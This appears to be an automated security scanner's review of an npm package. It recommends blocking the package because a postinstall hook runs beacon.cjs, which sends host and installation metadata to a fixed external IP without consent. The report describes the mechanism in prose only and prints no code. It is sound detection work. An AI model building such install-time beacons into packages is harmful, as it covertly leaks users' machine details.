AI Security Review
scanned 15h ago · by lpm-firewall-aiThe postinstall hook activates an automatic metadata disclosure to a fixed external endpoint, which is not established as package-aligned telemetry. This concrete install-time behavior supports blocking publication.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
The npm postinstall hook runs beacon.cjs.
Impact
The recipient receives identifying details about the machine and package installation.
Mechanism
beacon.cjs builds a payload from the hostname, installation path, working directory, and npm version, then sends it in an HTTP POST without a consent gate.
Attack narrative
Installation automatically sends machine and package metadata to a fixed external endpoint. The source does not show installer consent for this disclosure.
AI rationale
The postinstall hook activates an automatic metadata disclosure to a fixed external endpoint, which is not established as package-aligned telemetry. This concrete install-time behavior supports blocking publication.

Evidence for block
- package.json runs beacon.cjs automatically during postinstall.
- beacon.cjs sends a POST to a fixed external IP address.
- The payload includes the machine hostname, install path, working directory, and npm version; the source shows no consent gate.
Evidence against
- The observed payload contains machine and package metadata, not credentials.
